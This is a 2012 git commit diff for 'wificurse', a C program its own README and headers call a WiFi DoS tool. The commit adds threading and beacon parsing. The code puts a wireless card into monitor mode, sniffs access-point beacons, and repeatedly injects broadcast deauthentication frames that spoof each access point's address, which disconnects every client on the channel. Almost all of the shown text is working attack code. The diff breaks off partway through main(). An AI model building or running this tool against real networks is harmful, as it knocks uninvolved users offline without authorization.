commit e5701cfb781dc126f666517eecea2bfd11bf69c9
parent 75c1fab215abf753349a9dfeb78aba6eb90fa611
Author: oblique <psyberbits@gmail.com>
Date: Mon, 5 Mar 2012 19:11:22 +0200
attack improved, threading added
Diffstat:
M | Makefile | | | 10 | +++++++--- |
M | README | | | 12 | +++++++++--- |
A | src/ap_list.c | | | 88 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ |
A | src/ap_list.h | | | 57 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++ |
A | src/channelset.h | | | 56 | ++++++++++++++++++++++++++++++++++++++++++++++++++++++++ |
M | src/console.c | | | 115 | ++++++++++++++++--------------------------------------------------------------- |
M | src/console.h | | | 35 | +++++++---------------------------- |
D | src/dev.c | | | 26 | -------------------------- |
D | src/dev.h | | | 38 | -------------------------------------- |
M | src/iw.c | | | 90 | +++++++++++++++++++++++++++++++++++++++++++++++++++++--------------------------- |
M | src/iw.h | | | 26 | +++++++++++++++++++------- |
M | src/wificurse.c | | | 289 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++---------------- |
M | src/wificurse.h | | | 25 | +++++++++++++++++++++---- |
13 files changed, 578 insertions(+), 289 deletions(-)
diff --git a/Makefile b/Makefile
@@ -1,8 +1,12 @@
PREFIX ?= /usr/local
CC = $(CROSS_COMPILE)gcc
+CFLAGS ?= -O2
SRCS = $(wildcard src/*.c)
+HDRS = $(wildcard src/*.h)
+
OBJS = $(SRCS:%.c=%.o)
+LIBS = -lpthread
.PHONY: clean all install
@@ -16,10 +20,10 @@ endif
all: wificurse
wificurse: $(OBJS)
- $(CC) $(LDFLAGS) -o $@ $(OBJS)
+ $(CC) $(LDFLAGS) $(LIBS) $(OBJS) -o $@
-%.o: %.c %.h
- $(CC) $(CFLAGS) -c -o $@ $<
+%.o: %.c $(HDRS)
+ $(CC) $(CFLAGS) -c $< -o $@
install: all
@mkdir -p $(INSTALLDIR)/bin
diff --git a/README b/README
@@ -12,9 +12,11 @@ apply the patch patches/cfg80211_monitor_mode_channel_fix.patch
to the kernel.
How to use it: Just run it as root and put as first argument the
-card interface. It will put your interface in monitor mode automatically,
-it will start DoSing and change channel every 3 seconds. The channel
-range is 1 - 13.
+card interface. It will automatically put your interface in monitor
+mode and it will listen at channel range 1-14. If there is no AP in the
+channel, it will change channel every 1 second, or else it will start
+the attack which it takes approximately 30 seconds. After that it will
+change channel.
compile:
@@ -22,3 +24,6 @@ compile:
install:
make PREFIX=/usr install
+
+ARM cross-compile:
+ make CROSS_COMPILE=arm-none-linux-gnueabi-
+\ No newline at end of file
diff --git a/src/ap_list.c b/src/ap_list.c
@@ -0,0 +1,88 @@
+/*
+ wificurse - WiFi DoS tool
+ Copyright (C) 2012 oblique
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#include <stdlib.h>
+#include <string.h>
+#include <time.h>
+#include "iw.h"
+#include "error.h"
+#include "ap_list.h"
+
+
+void init_ap_list(struct ap_list *apl) {
+ apl->head = NULL;
+ apl->tail = NULL;
+}
+
+void free_ap_list(struct ap_list *apl) {
+ struct access_point *tmp;
+
+ while (apl->head != NULL) {
+ tmp = apl->head;
+ apl->head = apl->head->next;
+ free(tmp);
+ }
+
+ apl->head = apl->tail = NULL;
+}
+
+void link_ap(struct ap_list *apl, struct access_point *ap) {
+ if (apl->head == NULL)
+ apl->head = apl->tail = ap;
+ else {
+ ap->prev = apl->tail;
+ apl->tail->next = ap;
+ apl->tail = ap;
+ }
+}
+
+void unlink_ap(struct ap_list *apl, struct access_point *ap) {
+ if (ap->prev)
+ ap->prev->next = ap->next;
+ else
+ apl->head = ap->next;
+ if (ap->next)
+ ap->next->prev = ap->prev;
+ else
+ apl->tail = ap->prev;
+}
+
+int add_or_update_ap(struct ap_list *apl, struct ap_info *api) {
+ struct access_point *ap;
+
+ ap = apl->head;
+ while (ap != NULL) {
+ if (memcmp(ap->info.bssid, api->bssid, IFHWADDRLEN) == 0)
+ break;
+ ap = ap->next;
+ }
+
+ if (ap == NULL) {
+ ap = malloc(sizeof(*ap));
+ if (ap == NULL)
+ return_error("malloc");
+
+ memset(ap, 0, sizeof(*ap));
+ memcpy(&ap->info, api, sizeof(ap->info));
+ link_ap(apl, ap);
+ }
+
+ ap->last_beacon_tm = time(NULL);
+
+ return 0;
+}
diff --git a/src/ap_list.h b/src/ap_list.h
@@ -0,0 +1,57 @@
+/*
+ wificurse - WiFi DoS tool
+ Copyright (C) 2012 oblique
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#ifndef AP_LIST_H
+#define AP_LIST_H
+
+#include <stdint.h>
+#include <time.h>
+#include <sys/socket.h>
+#include <linux/wireless.h>
+
+
+#define ESSID_LEN 32
+
+struct ap_info {
+ int chan;
+ uint8_t bssid[IFHWADDRLEN];
+ uint8_t essid[ESSID_LEN+1];
+};
+
+struct access_point {
+ volatile unsigned int num_of_deauths;
+ time_t last_beacon_tm;
+ uint16_t sequence:12;
+ struct ap_info info;
+ struct access_point *next;
+ struct access_point *prev;
+};
+
+struct ap_list {
+ struct access_point *head;
+ struct access_point *tail;
+};
+
+
+void init_ap_list(struct ap_list *apl);
+void free_ap_list(struct ap_list *apl);
+void link_ap(struct ap_list *apl, struct access_point *ap);
+void unlink_ap(struct ap_list *apl, struct access_point *ap);
+int add_or_update_ap(struct ap_list *apl, struct ap_info *api);
+
+#endif
diff --git a/src/channelset.h b/src/channelset.h
@@ -0,0 +1,56 @@
+/*
+ wificurse - WiFi DoS tool
+ Copyright (C) 2012 oblique
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#ifndef CHANNELSET_H
+#define CHANNELSET_H
+
+#include <stdint.h>
+
+#define CHANNEL_MAX 255
+typedef volatile uint32_t channelset_t[8];
+
+static inline void channel_zero(channelset_t *cs) {
+ uint32_t *c = (uint32_t*)cs;
+ c[0] = c[1] = c[2] = c[3] = 0;
+ c[4] = c[5] = c[6] = c[7] = 0;
+}
+
+static inline void channel_set(channelset_t *cs, uint8_t chan) {
+ uint32_t *c = (uint32_t*)cs;
+ c[chan/32] |= 1 << (chan % 32);
+}
+
+static inline void channel_unset(channelset_t *cs, uint8_t chan) {
+ uint32_t *c = (uint32_t*)cs;
+ c[chan/32] &= ~(1 << (chan % 32));
+}
+
+static inline int channel_isset(channelset_t *cs, uint8_t chan) {
+ uint32_t *c = (uint32_t*)cs;
+ return !!(c[chan/32] & (1 << (chan % 32)));
+}
+
+static inline void channel_copy(channelset_t *dest, channelset_t *src) {
+ uint32_t i, *dc, *sc;
+ dc = (uint32_t*)dest;
+ sc = (uint32_t*)src;
+ for (i=0; i<8; i++)
+ dc[i] = sc[i];
+}
+
+#endif
diff --git a/src/console.c b/src/console.c
@@ -18,115 +18,46 @@
#include <stdio.h>
#include <stdlib.h>
-#include <string.h>
-#include <time.h>
-#include "dev.h"
-#include "error.h"
+#include "iw.h"
+#include "ap_list.h"
#include "console.h"
+#include "wificurse.h"
-void init_ap_list(struct ap_list *apl) {
- apl->head = NULL;
- apl->tail = NULL;
-}
-
-void free_ap_list(struct ap_list *apl) {
- struct access_point *tmp;
-
- while (apl->head != NULL) {
- tmp = apl->head;
- apl->head = apl->head->next;
- free(tmp);
- }
-
- apl->head = apl->tail = NULL;
-}
-
-int add_or_update_ap(struct ap_list *apl, uint8_t *bssid) {
- struct access_point *ap;
-
- ap = apl->head;
- while (ap != NULL) {
- if (memcmp(ap->bssid, bssid, sizeof(ap->bssid)) == 0)
- break;
- ap = ap->next;
- }
-
- if (ap == NULL) {
- ap = malloc(sizeof(*ap));
- if (ap == NULL)
- return_error("malloc");
-
- memset(ap, 0, sizeof(*ap));
- memcpy(ap->bssid, bssid, sizeof(ap->bssid));
-
- if (apl->head == NULL)
- apl->head = apl->tail = ap;
- else {
- ap->prev = apl->tail;
- apl->tail->next = ap;
- apl->tail = ap;
- }
- }
-
- ap->last_beacon_tm = time(NULL);
- ap->deauth = 1;
- ap->num_of_deauth++;
-
- return 0;
-}
-
-void clear_deauth(struct ap_list *apl) {
- struct access_point *ap;
-
- ap = apl->head;
- while (ap != NULL) {
- ap->deauth = 0;
- ap = ap->next;
- }
-}
-
-void unlink_ap(struct ap_list *apl, struct access_point *ap) {
- if (ap->prev)
- ap->prev->next = ap->next;
- else
- apl->head = ap->next;
- if (ap->next)
- ap->next->prev = ap->prev;
- else
- apl->tail = ap->prev;
-}
-
void clear_scr() {
printf("\033[2J\033[1;1H");
fflush(stdout);
}
-void update_scr(struct ap_list *apl, struct dev *dev) {
- struct access_point *ap, *tmp;
+void update_scr(struct ap_list *apl, struct iw_dev *dev) {
+ struct access_point *ap;
/* move cursor at colum 1 row 1 */
printf("\033[1;1H");
- printf("[ Channel: %3d ]\n\n", dev->chan);
- printf("Deauth BSSID Number of Deauth\n\n");
+ printf("\n CH %3d ][ WiFi Curse v" VERSION "\n\n", dev->chan);
+ printf(" Deauth "
+ "BSSID "
+ " CH "
+ "ESSID\n\n");
ap = apl->head;
while (ap != NULL) {
- if (time(NULL) - ap->last_beacon_tm >= 60) {
- tmp = ap;
- ap = ap->next;
- unlink_ap(apl, tmp);
- free(tmp);
- continue;
- }
- if (ap->deauth)
- printf(RED_COLOR("*"));
+ /* erase whole line */
+ printf("\033[2K");
+ if (ap->info.chan == dev->chan)
+ printf(RED_COLOR "*" RESET_COLOR);
else
printf(" ");
- printf(" %02x:%02x:%02x:%02x:%02x:%02x", ap->bssid[0], ap->bssid[1],
- ap->bssid[2], ap->bssid[3], ap->bssid[4], ap->bssid[5]);
- printf(" %d\n", ap->num_of_deauth);
+ printf(" %11d", ap->num_of_deauths);
+ printf(" %02x:%02x:%02x:%02x:%02x:%02x", ap->info.bssid[0],
+ ap->info.bssid[1], ap->info.bssid[2], ap->info.bssid[3],
+ ap->info.bssid[4], ap->info.bssid[5]);
+ printf(" %3d ", ap->info.chan);
+ if (ap->info.essid[0] == '\0') {
+ printf(" <hidden>\n");
+ } else
+ printf(" %s\n", ap->info.essid);
ap = ap->next;
}
diff --git a/src/console.h b/src/console.h
@@ -19,35 +19,14 @@
#ifndef CONSOLE_H
#define CONSOLE_H
-#include <stdint.h>
-#include <time.h>
-#include <sys/socket.h>
-#include <linux/wireless.h>
-#include "dev.h"
-
-
-struct access_point {
- int deauth;
- unsigned int num_of_deauth;
- time_t last_beacon_tm;
- uint8_t bssid[IFHWADDRLEN];
- struct access_point *next;
- struct access_point *prev;
-};
-
-struct ap_list {
- struct access_point *head;
- struct access_point *tail;
-};
-
-
-void init_ap_list(struct ap_list *apl);
-int add_or_update_ap(struct ap_list *apl, uint8_t *bssid);
-void unlink_ap(struct ap_list *apl, struct access_point *ap);
-void clear_deauth(struct ap_list *apl);
+#include "iw.h"
+#include "ap_list.h"
+
+
void clear_scr();
-void update_scr(struct ap_list *apl, struct dev *dev);
+void update_scr(struct ap_list *apl, struct iw_dev *dev);
-#define RED_COLOR(str) "\033[1;31m" str "\033[0m"
+#define RED_COLOR "\033[1;31m"
+#define RESET_COLOR "\033[0m"
#endif
diff --git a/src/dev.c b/src/dev.c
@@ -1,26 +0,0 @@
-/*
- wificurse - WiFi DoS tool
- Copyright (C) 2012 oblique
-
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
-
- You should have received a copy of the GNU General Public License
- along with this program. If not, see <http://www.gnu.org/licenses/>.
-*/
-
-#include <string.h>
-#include "dev.h"
-
-
-void init_dev(struct dev *dev) {
- memset(dev, 0, sizeof(*dev));
- dev->fd = -1;
-}
diff --git a/src/dev.h b/src/dev.h
@@ -1,38 +0,0 @@
-/*
- wificurse - WiFi DoS tool
- Copyright (C) 2012 oblique
-
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
-
- You should have received a copy of the GNU General Public License
- along with this program. If not, see <http://www.gnu.org/licenses/>.
-*/
-
-#ifndef DEV_H
-#define DEV_H
-
-#include <sys/socket.h>
-#include <linux/wireless.h>
-
-
-struct dev {
- char ifname[IFNAMSIZ+1];
- int ifindex;
- int fd;
- int chan;
- struct ifreq old_flags;
- struct iwreq old_mode;
-};
-
-
-void init_dev(struct dev *dev);
-
-#endif
diff --git a/src/iw.c b/src/iw.c
@@ -27,10 +27,16 @@
#include "iw.h"
+void iw_init_dev(struct iw_dev *dev) {
+ memset(dev, 0, sizeof(*dev));
+ dev->fd_in = -1;
+ dev->fd_out = -1;
+}
+
/* man 7 netdevice
* man 7 packet
*/
-int iw_open(struct dev *dev) {
+int iw_open(struct iw_dev *dev) {
struct ifreq ifr;
struct iwreq iwr;
struct sockaddr_ll sll;
@@ -40,19 +46,27 @@ int iw_open(struct dev *dev) {
fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (fd < 0)
return_error("socket");
- dev->fd = fd;
+ dev->fd_in = fd;
+
+ dev->fd_out = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
+ if (dev->fd_out < 0)
+ return_error("socket");
/* save current interface flags */
memset(&dev->old_flags, 0, sizeof(dev->old_flags));
strncpy(dev->old_flags.ifr_name, dev->ifname, sizeof(dev->old_flags.ifr_name)-1);
- if (ioctl(fd, SIOCGIFFLAGS, &dev->old_flags) < 0)
+ if (ioctl(fd, SIOCGIFFLAGS, &dev->old_flags) < 0) {
+ dev->old_flags.ifr_name[0] = '\0';
return_error("ioctl(SIOCGIFFLAGS)");
+ }
/* save current interface mode */
memset(&dev->old_mode, 0, sizeof(dev->old_mode));
strncpy(dev->old_mode.ifr_name, dev->ifname, sizeof(dev->old_mode.ifr_name)-1);
- if (ioctl(fd, SIOCGIWMODE, &dev->old_mode) < 0)
+ if (ioctl(fd, SIOCGIWMODE, &dev->old_mode) < 0) {
+ dev->old_mode.ifr_name[0] = '\0';
return_error("ioctl(SIOCGIWMODE)");
+ }
/* set interface down (ifr_flags = 0) */
memset(&ifr, 0, sizeof(ifr));
@@ -77,42 +91,59 @@ int iw_open(struct dev *dev) {
return_error("ioctl(SIOCGIFINDEX)");
dev->ifindex = ifr.ifr_ifindex;
- /* bind interface to socket */
+ /* bind interface to fd_in socket */
memset(&sll, 0, sizeof(sll));
sll.sll_family = AF_PACKET;
sll.sll_ifindex = dev->ifindex;
sll.sll_protocol = htons(ETH_P_ALL);
- if (bind(fd, (struct sockaddr*)&sll, sizeof(sll)) < 0)
+ if (bind(dev->fd_in, (struct sockaddr*)&sll, sizeof(sll)) < 0)
+ return_error("bind(%s)", dev->ifname);
+
+ /* bind interface to fd_out socket */
+ if (bind(dev->fd_out, (struct sockaddr*)&sll, sizeof(sll)) < 0)
return_error("bind(%s)", dev->ifname);
- /* enable promiscuous mode */
+ shutdown(dev->fd_in, SHUT_WR);
+ shutdown(dev->fd_out, SHUT_RD);
+
+ /* set fd_in in promiscuous mode */
memset(&mreq, 0, sizeof(mreq));
mreq.mr_ifindex = dev->ifindex;
mreq.mr_type = PACKET_MR_PROMISC;
- if (setsockopt(fd, SOL_PACKET, PACKET_ADD_MEMBERSHIP, &mreq, sizeof(mreq)) < 0)
+ if (setsockopt(dev->fd_in, SOL_PACKET, PACKET_ADD_MEMBERSHIP, &mreq, sizeof(mreq)) < 0)
return_error("setsockopt(PACKET_MR_PROMISC)");
return 0;
}
-void iw_close(struct dev *dev) {
+void iw_close(struct iw_dev *dev) {
struct ifreq ifr;
- if (dev->fd == -1)
+ if (dev->fd_in == -1)
return;
- /* set interface down (ifr_flags = 0) */
- memset(&ifr, 0, sizeof(ifr));
- strncpy(ifr.ifr_name, dev->ifname, sizeof(ifr.ifr_name)-1);
- ioctl(dev->fd, SIOCSIFFLAGS, &ifr);
- /* restore old mode */
- ioctl(dev->fd, SIOCSIWMODE, &dev->old_mode);
- /* restore old flags */
- ioctl(dev->fd, SIOCSIFFLAGS, &dev->old_flags);
- close(dev->fd);
+ if (dev->fd_out == -1) {
+ close(dev->fd_in);
+ return;
+ }
+
+ if (dev->old_flags.ifr_name[0] != '\0') {
+ /* set interface down (ifr_flags = 0) */
+ memset(&ifr, 0, sizeof(ifr));
+ strncpy(ifr.ifr_name, dev->ifname, sizeof(ifr.ifr_name)-1);
+ ioctl(dev->fd_in, SIOCSIFFLAGS, &ifr);
+ /* restore old mode */
+ if (dev->old_mode.ifr_name[0] != '\0')
+ ioctl(dev->fd_in, SIOCSIWMODE, &dev->old_mode);
+ /* restore old flags */
+ ioctl(dev->fd_in, SIOCSIFFLAGS, &dev->old_flags);
+ }
+
+ close(dev->fd_in);
+ close(dev->fd_out);
}
-ssize_t iw_write(int fd, void *buf, size_t count) {
+ssize_t iw_write(struct iw_dev *dev, void *buf, size_t count) {
unsigned char *pbuf, *pkt;
struct radiotap_hdr *rt_hdr;
struct write_radiotap_data *w_rt_data;
@@ -137,7 +168,7 @@ ssize_t iw_write(int fd, void *buf, size_t count) {
/* packet */
memcpy(pkt, buf, count);
- r = send(fd, pbuf, rt_hdr->len + count, 0);
+ r = send(dev->fd_out, pbuf, rt_hdr->len + count, 0);
if (r < 0) {
free(pbuf);
return_error("send");
@@ -149,12 +180,12 @@ ssize_t iw_write(int fd, void *buf, size_t count) {
return r > 0 ? r : ERRAGAIN;
}
-ssize_t iw_read(int fd, void *buf, size_t count, uint8_t **pkt, size_t *pkt_sz) {
+ssize_t iw_read(struct iw_dev *dev, void *buf, size_t count, uint8_t **pkt, size_t *pkt_sz) {
struct radiotap_hdr *rt_hdr;
int r;
/* read packet */
- r = recv(fd, buf, count, 0);
+ r = recv(dev->fd_in, buf, count, 0);
if (r < 0)
return_error("recv");
@@ -168,9 +199,8 @@ ssize_t iw_read(int fd, void *buf, size_t count, uint8_t **pkt, size_t *pkt_sz)
return r;
}
-int iw_can_change_channel(struct dev *dev) {
+int iw_can_change_channel(struct iw_dev *dev) {
struct iwreq iwr;
- ssize_t ret;
/* set channel */
memset(&iwr, 0, sizeof(iwr));
@@ -178,30 +208,30 @@ int iw_can_change_channel(struct dev *dev) {
iwr.u.freq.flags = IW_FREQ_FIXED;
iwr.u.freq.m = 1;
- if (ioctl(dev->fd, SIOCSIWFREQ, &iwr) < 0)
+ if (ioctl(dev->fd_in, SIOCSIWFREQ, &iwr) < 0)
return 0;
- if (ioctl(dev->fd, SIOCGIWFREQ, &iwr) < 0)
+ if (ioctl(dev->fd_in, SIOCGIWFREQ, &iwr) < 0)
return 0;
/* channel 1 frequency is 2412 */
return iwr.u.freq.m == 2412;
}
-int iw_set_channel(struct dev *dev, int chan) {
+int iw_set_channel(struct iw_dev *dev, int chan) {
struct iwreq iwr;
ssize_t ret;
/* discard packets that are in kernel packet queue */
ret = 0;
while (ret != -1)
- ret = recv(dev->fd, NULL, 0, MSG_DONTWAIT);
+ ret = recv(dev->fd_in, NULL, 0, MSG_DONTWAIT);
/* set channel */
memset(&iwr, 0, sizeof(iwr));
strncpy(iwr.ifr_name, dev->ifname, sizeof(iwr.ifr_name)-1);
iwr.u.freq.flags = IW_FREQ_FIXED;
iwr.u.freq.m = chan;
- if (ioctl(dev->fd, SIOCSIWFREQ, &iwr) < 0)
+ if (ioctl(dev->fd_in, SIOCSIWFREQ, &iwr) < 0)
return_error("ioctl(SIOCSIWFREQ)");
dev->chan = chan;
diff --git a/src/iw.h b/src/iw.h
@@ -20,7 +20,8 @@
#define IW_H
#include <stdint.h>
-#include "dev.h"
+#include <sys/socket.h>
+#include <linux/wireless.h>
struct radiotap_hdr {
@@ -41,12 +42,23 @@ struct write_radiotap_data {
#define RADIOTAP_F_TX_FLAGS_NOACK 0x0008
#define RADIOTAP_F_TX_FLAGS_NOSEQ 0x0010
+struct iw_dev {
+ char ifname[IFNAMSIZ+1];
+ int ifindex;
+ int fd_in;
+ int fd_out;
+ volatile int chan;
+ struct ifreq old_flags;
+ struct iwreq old_mode;
+};
-int iw_open(struct dev *dev);
-void iw_close(struct dev *dev);
-ssize_t iw_write(int fd, void *buf, size_t count);
-ssize_t iw_read(int fd, void *buf, size_t count, uint8_t **pkt, size_t *pkt_sz);
-int iw_can_change_channel(struct dev *dev);
-int iw_set_channel(struct dev *dev, int chan);
+
+void iw_init_dev(struct iw_dev *dev);
+int iw_open(struct iw_dev *dev);
+void iw_close(struct iw_dev *dev);
+ssize_t iw_write(struct iw_dev *dev, void *buf, size_t count);
+ssize_t iw_read(struct iw_dev *dev, void *buf, size_t count, uint8_t **pkt, size_t *pkt_sz);
+int iw_can_change_channel(struct iw_dev *dev);
+int iw_set_channel(struct iw_dev *dev, int chan);
#endif
diff --git a/src/wificurse.c b/src/wificurse.c
@@ -22,18 +22,32 @@
#include <string.h>
#include <poll.h>
#include <signal.h>
-#include "dev.h"
+#include <pthread.h>
+#include <time.h>
+#include <sys/time.h>
#include "iw.h"
#include "error.h"
#include "console.h"
+#include "ap_list.h"
+#include "channelset.h"
#include "wificurse.h"
-int send_deauth(int fd, uint8_t *ap_mac) {
+static volatile int stop;
+
+struct deauth_thread_args {
+ struct ap_list *apl;
+ struct iw_dev *dev;
+ pthread_mutex_t *mutex_chan;
+ pthread_mutex_t *mutex_list;
+ channelset_t *chans_fixed;
+ channelset_t *chans;
+};
+
+int send_deauth(struct iw_dev *dev, struct access_point *ap) {
struct mgmt_frame *deauth;
uint16_t *reason;
ssize_t r;
- int i;
deauth = malloc(sizeof(*deauth) + sizeof(*reason));
if (deauth == NULL)
@@ -43,23 +57,20 @@ int send_deauth(int fd, uint8_t *ap_mac) {
deauth->fc.subtype = FRAME_CONTROL_SUBTYPE_DEAUTH;
/* broadcast mac (ff:ff:ff:ff:ff:ff) */
memset(deauth->dest_mac, '\xff', IFHWADDRLEN);
- memcpy(deauth->src_mac, ap_mac, IFHWADDRLEN);
- memcpy(deauth->bssid, ap_mac, IFHWADDRLEN);
+ memcpy(deauth->src_mac, ap->info.bssid, IFHWADDRLEN);
+ memcpy(deauth->bssid, ap->info.bssid, IFHWADDRLEN);
reason = (uint16_t*)&deauth->frame_body;
/* reason 7: Class 3 frame received from nonassociated STA */
- *reason = htons(7);
-
- /* flood the network */
- for (i=0; i<128; i++) {
- deauth->sc.sequence = i;
- do {
- r = iw_write(fd, deauth, sizeof(*deauth) + sizeof(*reason));
- } while (r == ERRAGAIN);
- if (r < 0) {
- free(deauth);
- return r;
- }
- usleep(1000);
+ *reason = 7;
+
+ /* send deauth */
+ deauth->sc.sequence = ap->sequence++;
+ do {
+ r = iw_write(dev, deauth, sizeof(*deauth) + sizeof(*reason));
+ } while (r == ERRAGAIN);
+ if (r < 0) {
+ free(deauth);
+ return r;
}
free(deauth);
@@ -67,13 +78,15 @@ int send_deauth(int fd, uint8_t *ap_mac) {
return 0;
}
-int read_bssid(int fd, uint8_t *bssid) {
- uint8_t buf[256], *pkt;
+int read_ap_info(struct iw_dev *dev, struct ap_info *api) {
+ uint8_t buf[4096], *pkt;
size_t pkt_sz;
- ssize_t r;
+ ssize_t r, tmp, n;
struct mgmt_frame *beacon;
+ struct beacon_frame_body *beacon_fb;
+ struct info_element *beacon_ie;
- r = iw_read(fd, buf, sizeof(buf), &pkt, &pkt_sz);
+ r = iw_read(dev, buf, sizeof(buf), &pkt, &pkt_sz);
if (r < 0)
return r;
@@ -81,22 +94,121 @@ int read_bssid(int fd, uint8_t *bssid) {
/* if it's a beacon packet */
if (beacon->fc.subtype == FRAME_CONTROL_SUBTYPE_BEACON) {
- memcpy(bssid, beacon->bssid, IFHWADDRLEN);
+ memcpy(api->bssid, beacon->bssid, IFHWADDRLEN);
+ beacon_fb = (struct beacon_frame_body*)beacon->frame_body;
+ beacon_ie = beacon_fb->infos;
+ api->essid[0] = '\0';
+ n = 0;
+
+ /* parse beacon */
+ while (1) {
+ if (beacon_ie->id == INFO_ELEMENT_ID_SSID) { /* SSID found */
+ tmp = beacon_ie->len < ESSID_LEN ? beacon_ie->len : ESSID_LEN;
+ memcpy(api->essid, beacon_ie->info, tmp);
+ api->essid[tmp] = '\0';
+ n |= 1;
+ } else if (beacon_ie->id == INFO_ELEMENT_ID_DS) { /* channel number found */
+ api->chan = beacon_ie->info[0];
+ n |= 2;
+ }
+ if (n == (1|2))
+ break;
+ /* next beacon element */
+ beacon_ie = (struct info_element*)&beacon_ie->info[beacon_ie->len];
+ if ((uintptr_t)beacon_ie - (uintptr_t)buf >= r)
+ break;
+ }
+
+ /* if we didn't found the channel number
+ * or if the channel number is not in interference range
+ * then return ERRNODATA
+ */
+ if (!(n & 2) || api->chan < dev->chan-2 || api->chan > dev->chan+2)
+ return ERRNODATA;
+
return 0;
}
return ERRNODATA;
}
+void *deauth_thread_func(void *arg) {
+ struct deauth_thread_args *ta = arg;
+ struct access_point *ap, *tmp;
+ int i, j, b, tmp_chan;
+
+ while (!stop) {
+ pthread_mutex_lock(ta->mutex_chan);
+ b = 0;
+ for (i=0; i<60 && !stop; i++) {
+ for (j=0; j<128 && !stop; j++) {
+ ap = ta->apl->head;
+ while (ap != NULL && !stop) {
+ /* if the last beacon we got was 3 mins ago, remove AP */
+ if (time(NULL) - ap->last_beacon_tm >= 3*60) {
+ tmp_chan = ap->info.chan;
+ tmp = ap;
+ ap = ap->next;
+ pthread_mutex_lock(ta->mutex_list);
+ unlink_ap(ta->apl, tmp);
+ free(tmp);
+ /* if AP channel is not in chans_fixed and there isn't any
+ * other AP that use this channel, remove it from chans.
+ */
+ if (!channel_isset(ta->chans_fixed, tmp_chan)) {
+ tmp = ta->apl->head;
+ while (tmp != NULL) {
+ if (tmp->info.chan == tmp_chan)
+ break;
+ tmp = tmp->next;
+ }
+ if (tmp == NULL)
+ channel_unset(ta->chans, tmp_chan);
+ }
+ pthread_mutex_unlock(ta->mutex_list);
+ continue;
+ }
+ /* if interface and AP are in the same channel, send deauth */
+ if (ap->info.chan == ta->dev->chan) {
+ if (send_deauth(ta->dev, ap) < 0) {
+ print_error();
+ stop = 2; /* notify main thread that we got an error */
+ }
+ b = 1;
+ ap->num_of_deauths++;
+ }
+ ap = ap->next;
+ }
+ /* if we have send deauth, sleep for 2000 microseconds */
+ if (b && !stop)
+ usleep(2000);
+ }
+ /* if we have send deauth, sleep for 180000 microseconds */
+ if (b && !stop)
+ usleep(180000);
+ }
+ pthread_mutex_unlock(ta->mutex_chan);
+ /* small delay to avoid fast relock of mutex_chan */
+ usleep(100);
+ }
+
+ return NULL;
+}
int main(int argc, char *argv[]) {
- struct dev dev;
struct ap_list apl;
- uint8_t bssid[IFHWADDRLEN];
- sigset_t exit_sig;
+ struct ap_info api;
+ struct iw_dev dev;
struct pollfd pfd[2];
- time_t tm1;
- int chan, ret, sigfd;
+ struct deauth_thread_args ta;
+ struct timeval tv1, tv2;
+ suseconds_t msec;
+ pthread_t deauth_thread;
+ pthread_mutex_t mutex_chan, mutex_list;
+ channelset_t chans_fixed, chans;
+ int ret, sigfd, n, chan;
+ sigset_t exit_sig;
+ time_t tm;
if (argc != 2) {
fprintf(stderr, "\n WiFi Curse v" VERSION " (C) 2012 oblique\n\n");
@@ -133,37 +245,68 @@ int main(int argc, char *argv[]) {
pfd[0].events = POLLIN;
/* init device */
- init_dev(&dev);
+ iw_init_dev(&dev);
strncpy(dev.ifname, argv[1], sizeof(dev.ifname)-1);
if (iw_open(&dev) < 0) {
print_error();
- goto _errout;
+ goto _errout_no_thread;
}
if (!iw_can_change_channel(&dev)) {
fprintf(stderr, "%s can not change channels in monitor mode.\n"
"Maybe you need to patch your kernel with:\n"
" patches/cfg80211_monitor_mode_channel_fix.patch\n", dev.ifname);
- goto _errout;
+ goto _errout_no_thread;
}
- pfd[1].fd = dev.fd;
+ pfd[1].fd = dev.fd_in;
pfd[1].revents = 0;
pfd[1].events = POLLIN;
- tm1 = time(NULL);
- chan = 1;
-
- if (iw_set_channel(&dev, chan) < 0) {
+ /* init channel set */
+ channel_zero(&chans_fixed);
+ for (n=1; n<=14; n++)
+ channel_set(&chans_fixed, n);
+ channel_copy(&chans, &chans_fixed);
+
+ /* set channel */
+ n = 0;
+ chan = 0;
+ do {
+ chan = (chan % CHANNEL_MAX) + 1;
